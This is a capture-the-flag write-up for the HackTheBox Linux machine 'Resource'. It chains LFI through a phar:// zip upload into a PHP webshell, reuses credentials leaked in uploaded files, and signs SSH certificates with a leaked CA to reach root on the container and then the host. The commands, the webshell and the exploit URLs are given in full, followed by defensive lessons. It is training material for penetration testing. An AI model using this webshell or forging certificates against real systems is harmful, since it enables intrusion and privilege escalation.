the_open_door
coffee
ESEN

Resource

HackTheBoxHardLinux10.10.11.27

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#phar#lfi#file-upload#rce#ssh-certificate#certificate-authority#ssh-ca#credential-leak#pivoting#linux
TL;DR. Resource is a hard Linux box about a ticketing system (SSG IT Resource Center) and, above all, about abusing SSH Certificate Authorities. The web includes pages through a vulnerable ?page= parameter; uploading a .zip with a shell.php and loading it with the phar:// wrapper gives RCE as www-data. In uploads/ there are request dumps with msainristil's credentials, which we reuse over SSH. From there, a chain of SSH certificates: with the ca-itrc CA (decommissioned but still trusted) we sign certs for the zzinter and then root principals inside the container; and with the production CA test.key we sign a cert for the root_user principal that gives us root on the ssg host.

Reconnaissance

Ping

We start with a ping to confirm the host is up and check the TTL, which hints at the OS (≈64 Linux, ≈128 Windows).

ping -c 1 10.10.11.27
64 bytes from 10.10.11.27: icmp_seq=1 ttl=63 time=38.0 ms

TTL 63 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 63 = 64−1; a hint, not proof (it can be spoofed), confirmed by the service scan.

Port scan

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.11.27 -oG scan

nmap -p- against 10.10.11.27: finds 22, 80 and 2222, with port 22 answering at ttl 62 against the ttl 63 of the other two

Discovered open port 80/tcp on 10.10.11.27
Discovered open port 22/tcp on 10.10.11.27
Discovered open port 2222/tcp on 10.10.11.27
Completed SYN Stealth Scan at 15:04, 15.14s elapsed (65535 total ports)
Not shown: 64118 closed tcp ports (reset), 1414 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit

PORT     STATE SERVICE       REASON
22/tcp   open  ssh           syn-ack ttl 62
80/tcp   open  http          syn-ack ttl 63
2222/tcp open  EtherNetIP-1  syn-ack ttl 63

Three ports, and one asymmetry worth reading slowly: port 22 answers with ttl 62 while 80 and 2222 answer with ttl 63. One extra hop means literally that: packets from 22 cross an additional routing step before reaching us. That is the fingerprint of a service published from inside a container, and it sketches the box's structure before we touch anything.

extractPorts reading the scan file and returning IP Address 10.10.11.27 and Open ports 22,80,2222

Extracting information...
IP Address: 10.10.11.27
Open ports: 22,80,2222

Ports copied to clipboard
nmap -p22,80,2222 -sCV 10.10.11.27

nmap: OpenSSH 9.2p1 Debian on 22, nginx 1.18.0 redirecting to itrc.ssg.htb on 80 and OpenSSH 9.6p1 Ubuntu on 2222

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://itrc.ssg.htb/
2222/tcp open  ssh     OpenSSH 9.6p1 Ubuntu (Ubuntu Linux; protocol 2.0)

We add itrc.ssg.htb (and the base domain ssg.htb) to /etc/hosts and open the site.

the browser resolves itrc.ssg.htb and loads the SSG IT Resource Center

The landing page is purely informational: a welcome blurb and, top right, the only two buttons that lead anywhere, Register and Login.

the SSG IT Resource Center landing page with the Register and Login buttons highlighted in the top right corner

whatweb http://itrc.ssg.htb/

whatweb against itrc.ssg.htb identifying nginx 1.18.0 on Ubuntu, PHP 8.1.29 and the "IT Support Center" title

http://itrc.ssg.htb/ [200 OK] Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5,
  HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.27], PHP[8.1.29], Script,
  Title[IT Support Center], X-Powered-By[PHP/8.1.29]

PHP 8.1.29 behind nginx. The PHP part matters: it is what later makes the phar:// wrapper possible.

dirsearch -u http://itrc.ssg.htb/

dirsearch on itrc.ssg.htb finding admin.php, api, assets, dashboard.php, db.php, home.php, login.php, register.php and uploads

[15:09:21] 200 -   46B  - /admin.php
[15:09:28] 301 -  310B  - /api  ->  http://itrc.ssg.htb/api/
[15:09:29] 301 -  313B  - /assets  ->  http://itrc.ssg.htb/assets/
[15:09:37] 200 -   46B  - /dashboard.php
[15:09:38] 200 -    0B  - /db.php
[15:09:45] 200 -  507B  - /home.php
[15:09:51] 200 -  241B  - /login.php
[15:09:51] 302 -    0B  - /logout.php  ->  index.php
[15:10:04] 200 -  263B  - /register.php
[15:10:16] 301 -  314B  - /uploads  ->  http://itrc.ssg.htb/uploads/
Task Completed

Two sizes speak for themselves: /admin.php and /dashboard.php return 46 bytes (a redirect or a "not authorised", not the real page) and /db.php returns 0 (it exists but prints nothing, typical of a config file included by others). And /uploads shows up, which is where attachments will land.

The IT Resource Center and the page parameter

Of the resources dirsearch turned up, the loudest is admin.php. Requesting it directly gives neither an error nor a login screen: it returns the same landing page, meaning the application redirects session-less visitors to index instead of admitting the route exists.

the request to itrc.ssg.htb/admin.php returns exactly the same welcome landing page

The site is a ticketing system with its own login panel:

the itrc.ssg.htb login panel, with a link to register

Registration is open, so we create an account:

the SSG IT Resource Center Register form filled in with the user Jaime and the password repeated

And log in with it:

the Login form filled in with the same user Jaime and the password

the IT Resource Center dashboard after authenticating with the newly registered account, offering to create tickets

The first thing anyone tries on a form that stores text is a stored XSS:

the new-ticket form with a <script>alert(1)</script> payload in the body

the created ticket shows the text without executing anything: no alert fires

Nothing happens. To find out why, we inspect the DOM and follow where the input ends up:

the browser inspector showing where the ticket content is inserted into the DOM

To see it from the other side we open the Network tab and repeat the operation, creating a normal ticket with the inspector already listening:

the new-ticket form with Subject and Issue filled in and the Create Ticket button highlighted, with the inspector's Network tab open underneath

The response to that operation loads only two scripts of the site's own: filter.js and flash.js.

the Network tab after creating the ticket, with the requests to filter.js and flash.js highlighted among the rest

302  POST  itrc.ssg.htb  create_ticket.php   document  html
200  GET   itrc.ssg.htb  /                   document  html
200  GET   itrc.ssg.htb  filter.js           script    js
200  GET   itrc.ssg.htb  flash.js            script    js
200  GET   cdn.jsdelivr.net  bootstrap.bundle.min.js  script  js
404  GET   itrc.ssg.htb  favicon.ico

The first one is ruled out right away: filter.js comes back cached and its response is empty.

the filter.js detail in the inspector: the Response tab shows nothing, with the No response data notice

That leaves flash.js, and there is the piece:

the Network tab with the flash.js file and its contents: the showFlash(msg) function assigns document.getElementById('flashMessage').innerHTML = msg

function hideFlash() {
    document.getElementById('flashMessage').style.display = 'none';
}

function showFlash(msg) {
    document.getElementById('flashMessage').innerHTML = msg;
    document.getElementById('flashMessage').style.display = 'block';
    setTimeout(hideFlash, 5000);
}

innerHTML = msg is a textbook DOM XSS sink. With one important nuance: innerHTML does not execute <script> tags inserted that way (which is why the earlier attempt did nothing), but it does execute event handlers, which is the usual route (<img src=0 onerror=alert(1)>). We check it from the console by assigning the variable and calling the line:

The line that matters is a single one, and it sanitises nothing:

the showFlash function highlighting the assignment of msg to the flashMessage element's innerHTML

function showFlash(msg) {
    document.getElementById('flashMessage').innerHTML = msg;
    document.getElementById('flashMessage').style.display = 'block';
    setTimeout(hideFlash, 5000);
}

in the browser console the msg variable is defined with an img onerror payload

running document.getElementById('flashMessage').innerHTML = msg fires the alert: the sink is exploitable

The sink is real and exploitable. But we find no way out for it: for an XSS to escalate you need a higher-privileged victim rendering the payload (an admin reviewing the ticket, a bot), and none shows up here to fire it. Without that privileged consumer it stays a self-XSS, so we note it as a dead end and keep enumerating.

The good lead is the navigation: pages load with index.php?page=<name>. We fuzz that parameter and, besides the visible ones, two interesting pages appear: admin and db.

wfuzz -u 'http://itrc.ssg.htb/index.php?page=FUZZ' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hl 39

wfuzz firing 220559 requests at the page parameter, filtering by 39 response lines

Target: http://itrc.ssg.htb/index.php?page=FUZZ
Total requests: 220559

wfuzz on the page parameter discovers the admin, db, dashboard and ticket pages

Target: http://itrc.ssg.htb/index.php?page=FUZZ
Total requests: 220559

ID         Response  Lines   Word    Chars    Payload
000000015: 200       34 L    96 W    2276 Ch  "index"
000000065: 200       44 L    135 W   2842 Ch  "register"
000000053: 200       43 L    126 W   2709 Ch  "login"
000000259: 200       25 L    67 W    1331 Ch  "admin"
000000848: 200       34 L    96 W    2276 Ch  "db"
000001225: 200       38 L    136 W   2627 Ch  "logout"
000002927: 200       25 L    67 W    1331 Ch  "dashboard"
000005167: 200       25 L    67 W    1331 Ch  "ticket"

Beyond the pages already visible, two that were not appear: admin and db.

That content is included from ?page= is a classic include($_GET['page'].".php") pattern: an LFI. On its own it would only read files, but combined with attachment upload it opens the door to code execution.

Shell as www-data

From LFI to RCE with phar://

The application lets us upload files to a ticket. We leverage the phar:// wrapper: a ZIP is a valid container for PHP, so we put a minimal shell.php inside and include it from the archive. First the payload:

<?php system($_GET["cmd"]); ?>

the contents of shell.php: a one-line system() that runs the cmd parameter

We zip it:

zip test.zip shell.php

zip test.zip shell.php packaging the webshell

  adding: shell.php (stored 0%)

It goes up as an attachment on any ticket:

the ticket form with test.zip attached and uploaded successfully

The server renames the upload using the file's sha1sum, so the name inside uploads/ can be computed locally without ever looking at the listing:

sha1sum test.zip

sha1sum test.zip returning the hash the server will use as the filename in uploads

We include it with the wrapper pointing at the inner file (without extension, since the code already appends .php):

http://itrc.ssg.htb/?page=phar://uploads/<sha1>.zip/shell&cmd=id

loading the .zip with phar:// and cmd=id the site returns uid=33(www-data)

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Any other command works the same by changing cmd, and the output is printed on the page itself, above the site's own content. A pwd locates the application root:

the same URL with cmd=pwd returns /var/www/itrc printed over the site header

/var/www/itrc

We have command execution as www-data.

Shell as msainristil

Credentials in uploads/

In /var/www/itrc sits the source code, and in db.php the database credentials:

the webshell showing db.php's contents with user jj and password ugEG5rR5SG8uPD for the resourcecenter database

$servername = "127.0.0.1";
$username = "jj";
$password = "ugEG5rR5SG8uPD";
$dbname = "resourcecenter";

We try them, and they are no good from outside:

the attempt to connect with mysql -u jj -p -h 10.10.11.27 fails; the container's internal IP does not work either

$ mysql -u jj -p"ugEG5rR5SG8uPD" -h 10.10.11.27 resourcecenter
ERROR 2002 (HY000): Can't connect to MySQL server on '10.10.11.27'

db.php points at 127.0.0.1, meaning MySQL only listens on the container's loopback. It gets noted as a credential with no immediate use, not as a failure.

The good stuff is in uploads/:

?page=phar://uploads/<sha1>.zip/shell&cmd=ls uploads

the webshell listing uploads/: four .zip files with 40-character hexadecimal names

c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
e88f8b393fe851e1abbf6f129f82cc456a1571f9.zip
e8c6575573384aeeab4d093cc99c7e5927614185.zip
eb65074fe37671509f24d1652a44944be61e4360.zip

Four .zip files, only one of which is ours. The other three are attachments uploaded by real users of the ticketing system, and that is usually where the material is. To read them without losing the extracted file we use unzip -p (it streams the contents to stdout while extracting, writing nothing to disk, which is what you need when the webshell runs every command in a separate process):

unzip -p uploads/<sha1>.zip

unzip -p shows a request dump with the fields user=msainristil and pass=82yards2closeit

...
"postData": {
    "mimeType": "application/x-www-form-urlencoded",
    "text": "user=msainristil&pass=82yards2closeit",
    "params": [
        { "name": "user", "value": "msainristil" },
        { "name": "pass", "value": "82yards2closeit" }
    ]
},
...

Among the form data are credentials: msainristil / 82yards2closeit. The other two .zip files carry no passwords but public keys:

unzip -p on another attachment shows an ssh-rsa public key commented mgraham@ssg.htb

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDa1RS3oCZOLoHXlCKYKOBCiaQzNA9weEgvkEyVCr6Wrtlli8clZi5tJkZiRUyRkqrvR6lX3<SNIP>NFIsgFFGsJ+pUSMUIkZ/2/EfsPEmA1jfkzEAD18UH1PtXo4GehRAbKw9lcbu1MbQHMGJg+0W/95RxK+wy0NSLuwmycKvpY8MKO9MWP6UMoQmAhYEToulcfwrDGD9ncbzzTd1A951JWkpynGqVKazDIvvrb+MF1XXib2HYZ/7XGQs= mgraham@ssg.htb

unzip -p on the fourth attachment shows an ssh-ed25519 public key commented bmcgregor@ssg.htb

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMI916//9yp/9z9HQn1OCxitlWqEYWkLoST6Z+5dNSBs bmcgregor@ssg.htb

It is worth closing this thread right away: being only the public half of the pair they cannot authenticate on their own (you would need the matching private keys, which are nowhere to be found). What they do provide is two usernames from the ssg.htb domain and the confirmation that on this box authentication runs on keys, not passwords, which is the thematic hint for everything that follows. The real path ends up going through the CA abuse, which lets us sign certificates for whatever principal we want, not through these keys.

SSH access

The credentials are reused on SSH and we get in as msainristil:

ssh msainristil@10.10.11.27

ssh as msainristil with the recovered password opens a shell; the home contains decommission_old_ca

Linux itrc 5.15.0-117-generic #127-Ubuntu SMP Fri Jul 5 20:13:28 UTC 2024 x86_64
...
msainristil@itrc:~$ ls -la
total 32
drwx------ 1 msainristil msainristil 4096 Aug 13 11:13 .
drwxr-xr-x 1 root        root        4096 Aug 13 11:13 ..
lrwxrwxrwx 1 root        root           9 Aug 13 11:13 .bash_history -> /dev/null
-rw-r--r-- 1 msainristil msainristil  220 Mar 29  2024 .bash_logout
-rw-r--r-- 1 msainristil msainristil 3526 Mar 29  2024 .bashrc
-rw-r--r-- 1 msainristil msainristil  807 Mar 29  2024 .profile
drwxr-xr-x 1 msainristil msainristil 4096 Jan 24  2024 decommission_old_ca

The home is almost empty except for one directory that stands out: decommission_old_ca.

Shell as zzinter

A "decommissioned" but still trusted CA

msainristil's home contains a decommission_old_ca directory with two files: ca-itrc (the private key of an SSH Certificate Authority) and ca-itrc.pub.

the decommission_old_ca directory holds the CA key ca-itrc and its public part

Here the CA abuse kicks in: the sshd trusts keys signed by that CA, and whoever has its private key can sign themselves a certificate for any principal. We generate a keypair and sign a cert for the zzinter principal; then we connect presenting it:

ssh-keygen -t rsa -b 2048 -f keypair

ssh-keygen generating the keypair/keypair.pub pair with its randomart

Generating public/private rsa key pair.
Your identification has been saved in keypair
Your public key has been saved in keypair.pub
ssh-keygen -s ca-itrc -I my_hey -n zzinter keypair.pub
ssh -i keypair -o CertificateFile=keypair-cert.pub zzinter@localhost

a certificate for the zzinter principal is signed with ca-itrc and we log in as zzinter

Signed user key keypair-cert.pub: id "my_hey" serial 0 for zzinter valid forever
...
zzinter@itrc:~$

The CA was "decommissioned", but it was never removed from the sshd's trust: its signatures are still valid. We're now zzinter.

Shell as root in the container

The same ca-itrc CA isn't restricted to zzinter only. We repeat the trick, now signing a certificate for the root principal, and connect to the local SSH:

Now as zzinter, we generate a fresh key pair from that session and fix the CA's permissions (without the chmod, ssh-keygen rejects the key for being world-readable):

ssh-keygen -t rsa -b 2048 -f keypair
chmod 600 ca-itrc

zzinter@itrc generating a new keypair/keypair.pub with ssh-keygen, randomart included

zzinter@itrc:~$ ssh-keygen -t rsa -b 2048 -f keypair
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in keypair
Your public key has been saved in keypair.pub
The key fingerprint is:
SHA256:GolpOQ8RCnhwIHUb3brWcMsXIEan66mJm4CLXKc9f54 zzinter@itrc

The zzinter@itrc in the fingerprint also confirms the previous session worked.

ssh-keygen -s ca-itrc -n root -I my_key keypair.pub
ssh -i keypair -o CertificateFile=keypair-cert.pub root@localhost

signing a certificate for the root principal with ca-itrc yields a root shell in the itrc container

Signed user key keypair-cert.pub: id "my_key" serial 0 for root valid forever

ssh with the root certificate opens a shell as root@itrc

We're root, but inside the itrc system (the resource center's). The final target is the host ssg.

Shell as root on ssg

The production CA

As root@itrc we explore the system and find the production CA:

the directory holding the production CA test.key and the configuration files defining the principals and the revocation list

This is the one the real ssg host uses for certificate authentication, but with two conditions the previous one did not have: a serial-number revocation list and a principal different from the username. So when signing we pin a specific serial (-z 200) that is not revoked, plus the principal the host expects for root: root_user.

ssh-keygen -s test.key -z 200 -I root -V -10w:forever -n root_user root.pub

root@itrc signs with test.key a certificate for the root_user principal with serial 200

Signed user key root-cert.pub: id "root" serial 200 for root_user valid after 2024-09-01T00:49:28

Final access

With that certificate we connect to the host's SSH (port 2222) as root, and land on ssg, where we read the final flag:

ssh -i root -o CertificateFile=root-cert.pub -p 2222 root@10.10.11.27

ssh to port 2222 with the cert signed by test.key opens a shell as root@ssg and shows root.txt

root@ssg:~# cat root.txt
fb835bc631777ffd9234313a3e2760c9

Attack chain

web itrc.ssg.htb (index.php?page=)
   │  upload shell.php in a .zip to a ticket
   │  ?page=phar://uploads/<sha1>.zip/shell&cmd=...   (phar:// LFI→RCE)
   ▼
www-data @ itrc
   │  uploads/*.zip  →  unzip -p  →  user=msainristil / pass=82yards2closeit
   ▼
msainristil @ itrc   (ssh, credential reuse)
   │  ~/decommission_old_ca/ca-itrc   (still-trusted SSH CA)
   │  ssh-keygen -s ca-itrc -n zzinter ...
   ▼
zzinter @ itrc
   │  ssh-keygen -s ca-itrc -n root ...
   ▼
root @ itrc (container)
   │  /opt/test.key  (production CA)  →  ssh-keygen -s test.key -z 200 -n root_user ...
   ▼
root @ ssg  (host, ssh -p2222)  →  root.txt

Lessons learned

  • LFI + file upload = RCE with phar://. Including pages from ?page= and allowing file attachments is enough to run code: a ZIP with a shell.php loaded through the phar:// wrapper gives a webshell. Don't include files from user input and store uploads outside the web root.
  • Don't keep secrets in what users upload. The uploads/ held request dumps with cleartext passwords, reusable over SSH.
  • An SSH CA is a master key. Whoever holds the CA's private key can sign certs for any principal, including root; see SSH CA abuse. Protect that key like the most sensitive secret and use short-lived certificates.
  • Decommission for real. The core flaw is that ca-itrc was treated as retired but the sshd still trusted it. And on the production CA, the serial-based revocation list was dodged by picking a non-revoked serial: serial-number revocations are fragile if an attacker can sign at will.
Command cheatsheet 15 commands

Quick review